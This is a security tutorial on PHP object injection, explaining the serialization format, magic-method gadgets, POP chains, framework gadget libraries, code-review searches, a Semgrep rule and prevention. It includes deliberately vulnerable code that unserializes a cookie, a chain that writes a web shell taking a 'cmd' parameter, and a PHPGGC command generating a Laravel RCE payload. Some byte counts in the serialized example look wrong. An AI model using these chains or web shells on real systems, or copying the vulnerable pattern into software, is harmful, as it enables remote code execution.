PHP Object Injection: Exploiting Deserialization and POP Chains

PHP's unserialize() function, when passed attacker-controlled data, can trigger magic methods across the application's class hierarchy in sequences that produce remote code execution. This guide covers how PHP object injection works, how POP chains are constructed, and how to prevent the vulnerability in PHP applications.

PHP object injection sits in the same family as Java and Python deserialization vulnerabilities — all share the same root cause: an application deserializes attacker-supplied data, which allows the attacker to control the state of arbitrary objects. In PHP, the vulnerability flows through unserialize() and a set of magic methods that the language automatically calls at specific points in an object’s lifecycle.

The practical impact depends entirely on what classes are loaded when unserialize() runs. If the application (or any library it imports) contains a class with dangerous magic method implementations, an attacker can chain those classes together in a Property-Oriented Programming (POP) chain that produces file write, code execution, or SSRF.

The Serialization Format

PHP’s serialize() function produces a compact, human-readable byte string representing an object’s state:

class User {
    public $username;
    public $role;
    
    public function __construct($username, $role) {
        $this->username = $username;
        $this->role     = $role;
    }
}

$user = new User("alice", "viewer");
echo serialize($user);
// O:4:"User":2:{s:8:"username";s:5:"alice";s:4:"role";s:6:"viewer";}

The format is O:<classname_length>:"<classname>":<property_count>:{<properties>}. An attacker who controls this string can:

  1. Change property values (e.g., "role";s:5:"admin" for privilege escalation)
  2. Specify a completely different class name to instantiate that class with controlled properties
  3. Craft nested objects that trigger a chain of magic method calls

Magic Methods as Gadgets

PHP calls specific magic methods automatically at defined lifecycle events. These are the gadgets that make POP chains possible:

MethodWhen called
__wakeup()Immediately after unserialize()
__destruct()When the object goes out of scope (end of script, unset)
__toString()When the object is cast to string (print, echo, string concatenation)
__get($name)On access to undefined or inaccessible property
__set($name, $value)On write to undefined or inaccessible property
__call($name, $args)On call to undefined or inaccessible method
__invoke()When object is called as a function

The exploitation flow typically starts at __wakeup() or __destruct() — both are triggered automatically by unserialize() without any further user interaction.

A Minimal POP Chain Example

Consider this intentionally vulnerable code (for educational purposes):

class Logger {
    public $log_file;
    public $log_data;
    
    public function __destruct() {
        // Writes log on object destruction
        file_put_contents($this->log_file, $this->log_data);
    }
}

class Formatter {
    public $formatter;
    
    public function __toString() {
        // Calls a callable stored in $formatter
        return call_user_func($this->formatter);
    }
}

class DataLoader {
    public $data_source;
    
    public function __wakeup() {
        // Logs on wakeup, casting data_source to string
        echo "Loaded: " . $this->data_source;
    }
}

// Vulnerable endpoint
$data = unserialize($_COOKIE['session_data']);

An attacker builds a chain:

  1. DataLoader::__wakeup() fires immediately — it concatenates $this->data_source with a string, triggering __toString() on any object assigned to data_source.
  2. They assign a Formatter object to DataLoader::$data_source. Formatter::__toString() calls call_user_func($this->formatter).
  3. They set Formatter::$formatter to system and pass it a command as an argument — or chain further to reach file writes.

Alternatively via Logger::__destruct(), they can write arbitrary content to any path the web server user can write to:

// PHP serialized POP chain for file write via Logger
$chain = new Logger();
$chain->log_file = '/var/www/html/shell.php';
$chain->log_data = '<?php system($_GET["cmd"]); ?>';

echo urlencode(serialize($chain));
// O:6:"Logger":2:{s:8:"log_file";s:26:"/var/www/html/shell.php";s:8:"log_data";s:30:"<?php system($_GET["cmd"]); ?>";}

Real-World Exploitation: Framework Gadget Chains

The power of POP chains in real applications is that attackers don’t need gadgets in the application code itself — they need gadgets anywhere in the PHP class autoload path. Popular frameworks and libraries contain gadget classes that have been documented and weaponised:

Laravel: The Illuminate\Broadcasting\PendingBroadcast class’s __destruct() dispatches a job, and several related classes in the jobs system provide RCE gadgets. Publicly documented chains exist for Laravel 5.x through 11.x.

Symfony: Gadget chains in Symfony\Component\Validator and the Debug component have been publicly documented. The Symfony TypedValues serializer has had specific chain disclosures.

Guzzle: The HTTP client library’s CookieJar class contains a __destruct() that writes to a file, making it useful as the final stage in chains targeting file write.

Tools like PHPGGC (PHP Generic Gadget Chains) maintain a library of known gadget chains for popular frameworks and can generate ready-to-use serialized payloads:

# Generate a Laravel RCE payload targeting a specific version
phpggc Laravel/RCE1 system "id" -b

Finding the Vulnerability

In code review, search for unserialize() receiving any data that originates outside the application:

# Find unserialize calls in PHP files
grep -rn "unserialize(" --include="*.php" . | grep -v "//.*unserialize"

# More specific: unserialize with $_* superglobals
grep -rn "unserialize(\$_" --include="*.php" .
grep -rn "unserialize(base64_decode" --include="*.php" .

Common sources of attacker-controlled data passed to unserialize():

  • Cookie values (base64-decoded)
  • GET/POST parameters
  • API request body fields
  • Data read from database columns (if that data was originally written by a user)
  • Redis/Memcached session data

Prevention

1. Never pass user-controlled data to unserialize()

The correct fix is to avoid deserializing untrusted data entirely. For session management, use PHP’s built-in session handler which manages serialization internally. For data exchange with external systems, use JSON (json_decode()) rather than serialized PHP — JSON has no object instantiation side effects.

// WRONG: Deserializing user-controlled cookie
$data = unserialize(base64_decode($_COOKIE['user_prefs']));

// RIGHT: Decode JSON, validate, use plain arrays
$data = json_decode(base64_decode($_COOKIE['user_prefs']), true);
if (!is_array($data) || !isset($data['theme'])) {
    $data = ['theme' => 'default'];
}

2. Use allowed_classes when you must deserialize

PHP 7.0+ provides an allowed_classes option to restrict which classes can be instantiated during deserialization:

// Only allow deserialization of specific, known-safe classes
$allowed = ['UserPreferences', 'CartItem'];
$data = unserialize($input, ['allowed_classes' => $allowed]);

// Or deny all class instantiation (safe for plain data)
$data = unserialize($input, ['allowed_classes' => false]);

This prevents gadget chain exploitation by refusing to instantiate any class not in the allowlist — but it does not prevent property injection attacks on the allowed classes themselves.

3. Sign serialized data

If you must use unserialize() with PHP sessions or internal data, wrap the payload with an HMAC:

function safe_serialize($data, $secret) {
    $payload = serialize($data);
    $mac     = hash_hmac('sha256', $payload, $secret);
    return $mac . ':' . base64_encode($payload);
}

function safe_unserialize($input, $secret) {
    [$mac, $encoded] = explode(':', $input, 2);
    $payload = base64_decode($encoded);
    if (!hash_equals(hash_hmac('sha256', $payload, $secret), $mac)) {
        throw new RuntimeException('Invalid signature');
    }
    return unserialize($payload, ['allowed_classes' => false]);
}

4. SAST tooling

Configure static analysis to flag unserialize() calls. Psalm, PHPStan, and Semgrep all have rules for this. In Semgrep:

rules:
  - id: php-unsafe-unserialize
    patterns:
      - pattern: unserialize(...)
      - pattern-not: unserialize("...")
    message: "unserialize() called with non-literal input — verify the source is trusted or use allowed_classes"
    languages: [php]
    severity: WARNING

PHP object injection has caused significant breaches across PHP applications including content management systems, e-commerce platforms, and enterprise applications. The fix is straightforward: stop passing user-controlled data to unserialize(). The gadget chain complexity is an attacker problem, not a defender problem — eliminate the vulnerability and no chain ever executes.